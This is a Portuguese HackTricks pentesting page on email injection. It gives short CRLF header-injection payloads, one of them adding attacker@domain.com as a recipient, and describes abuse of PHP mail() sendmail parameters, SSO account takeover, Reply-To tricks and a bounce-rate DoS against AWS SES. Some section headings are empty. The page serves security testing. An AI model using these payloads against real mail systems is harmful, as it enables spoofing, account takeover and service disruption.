# Injeções de Email
\ Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir e **automatizar fluxos de trabalho** com as ferramentas comunitárias **mais avançadas** do mundo.\ Obtenha Acesso Hoje: {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
Aprenda hacking no AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)! Outras formas de apoiar o HackTricks: * Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)! * Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com) * Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos * **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao grupo [**telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** * **Compartilhe suas técnicas de hacking enviando PRs para os repositórios github** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
## Injetar em e-mail enviado ### Injetar Cc e Bcc após argumento do remetente ``` From:sender@domain.com%0ACc:recipient@domain.co,%0ABcc:recipient1@domain.com ``` A mensagem será enviada para as contas do destinatário e recipient1. ### Injetar argumento ``` From:sender@domain.com%0ATo:attacker@domain.com ``` A mensagem será enviada para o destinatário original e para a conta do atacante. ### Injetar argumento Subject ``` From:sender@domain.com%0ASubject:This is%20Fake%20Subject ``` ### Alterar o corpo da mensagem Injete uma alimentação de duas linhas, em seguida, escreva sua mensagem para alterar o corpo da mensagem. ``` From:sender@domain.com%0A%0AMy%20New%20%0Fake%20Message. ``` ### Exploração da função mail() do PHP ```bash # The function has the following definition: php --rf mail Function [ function mail ] { - Parameters [5] { Parameter #0 [ $to ] Parameter #1 [ $subject ] Parameter #2 [ $message ] Parameter #3 [ $additional_headers ] Parameter #4 [ $additional_parameters ] } } ``` #### O 5º parâmetro ($additional_parameters) Esta seção será baseada em **como abusar desse parâmetro supondo que um atacante o controle**. Esse parâmetro será adicionado à linha de comando que o PHP usará para invocar o binário sendmail. No entanto, será higienizado com a função `escapeshellcmd($additional_parameters)`. Um atacante pode **injetar parâmetros extras para sendmail** neste caso. #### Diferenças na implementação de /usr/sbin/sendmail A interface **sendmail** é **fornecida pelo software de e-mail MTA** (Sendmail, Postfix, Exim etc.) instalado no sistema. Embora a **funcionalidade básica** (como parâmetros -t -i -f) permaneça a **mesma** por motivos de compatibilidade, **outras funções e parâmetros** variam muito dependendo do MTA instalado. Aqui estão alguns exemplos de diferentes páginas de manual do comando/interface sendmail: * Sendmail MTA: http://www.sendmail.org/\~ca/email/man/sendmail.html * Postfix MTA: http://www.postfix.org/mailq.1.html * Exim MTA: https://linux.die.net/man/8/eximReferences Dependendo da **origem do binário sendmail**, diferentes opções foram descobertas para abusar delas e **vazar arquivos ou até executar comandos arbitrários**. Verifique como em [**https://exploitbox.io/paper/Pwning-PHP-Mail-Function-For-Fun-And-RCE.html**](https://exploitbox.io/paper/Pwning-PHP-Mail-Function-For-Fun-And-RCE.html) ## Injetar no nome do e-mail ### Partes ignoradas de um e-mail Os símbolos: **+, -** e **{}** em raras ocasiões podem ser usados para etiquetagem e ignorados pela maioria dos servidores de e-mail * Ex.: john.doe+intigriti@example.com → john.doe@example.com **Comentários entre parênteses ()** no início ou no final também serão ignorados * Ex.: john.doe(intigriti)@example.com → john.doe@example.com ### Bypass de lista branca
### Aspas
### IPs Você também pode usar IPs como nome de domínio entre colchetes: * john.doe@\[127.0.0.1] * john.doe@\[IPv6:2001:db8::1] ### Outras vulnerabilidades ![](<../.gitbook/assets/image (296).png>) ## SSO de terceiros ### XSS Alguns serviços como **github** ou **salesforce permitem** que você crie um **endereço de e-mail com payloads XSS**. Se você pode **usar esses provedores para fazer login em outros serviços** e esses serviços **não estão higienizando** corretamente o e-mail, você poderia causar **XSS**. ### Apropriação de Conta Se um **serviço de SSO** permite que você **crie uma conta sem verificar o endereço de e-mail fornecido** (como **salesforce**) e depois você pode usar essa conta para **fazer login em um serviço diferente** que **confia** no salesforce, você poderia acessar qualquer conta.\ _Note que o salesforce indica se o e-mail fornecido foi ou não verificado, mas a aplicação deve levar em conta essa informação._ ## Reply-To Você pode enviar um e-mail usando _**De: company.com**_ e _**Responder Para: attacker.com**_ e se alguma **resposta automática** for enviada devido ao e-mail ter sido enviado **de** um **endereço interno**, o **atacante** pode ser capaz de **receber** essa **resposta**. ## Taxa de Rejeição Dura Algumas aplicações como AWS têm uma **Taxa de Rejeição Dura** (na AWS é de 10%), que quando é excedida o serviço de e-mail é bloqueado. Uma **rejeição dura** é um **e-mail** que não pôde ser entregue por alguns motivos permanentes. Talvez o **e-mail** seja um endereço falso, talvez o domínio do **e-mail** não seja um domínio real, ou talvez o servidor do destinatário do **e-mail** não aceite **e-mails**), isso significa que do total de 1000 e-mails, se 100 deles fossem falsos ou inválidos e causassem rejeição, o **AWS SES** bloqueará seu serviço. Então, se você é capaz de **enviar e-mails (talvez convites) do aplicativo web para qualquer endereço de e-mail, você poderia provocar esse bloqueio enviando centenas de convites para usuários e domínios inexistentes: DoS do serviço de e-mail.** ## Referências * [https://resources.infosecinstitute.com/email-injection/](https://resources.infosecinstitute.com/email-injection/) * [https://exploitbox.io/paper/Pwning-PHP-Mail-Function-For-Fun-And-RCE.html](https://exploitbox.io/paper/Pwning-PHP-Mail-Function-For-Fun-And-RCE.html) * [https://drive.google.com/file/d/1iKL6wbp3yYwOmxEtAg1jEmuOf8RM8ty9/view](https://drive.google.com/file/d/1iKL6wbp3yYwOmxEtAg1jEmuOf8RM8ty9/view) * [https://www.youtube.com/watch?app=desktop\&v=4ZsTKvfP1g0](https://www.youtube.com/watch?app=desktop\&v=4ZsTKvfP1g0)
Aprenda hacking AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)! Outras maneiras de apoiar o HackTricks: * Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)! * Adquira o [**merchandising oficial PEASS & HackTricks**](https://peass.creator-spring.com) * Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos * **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga**-me no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** * **Compartilhe suas dicas de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) no github.
\ Use [**Trickest**](https://trickest.com/?utm_campaign=hacktrics\&utm_medium=banner\&utm_source=hacktricks) para construir e **automatizar fluxos de trabalho** facilmente, alimentados pelas ferramentas comunitárias **mais avançadas**.\ Obtenha Acesso Hoje: {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}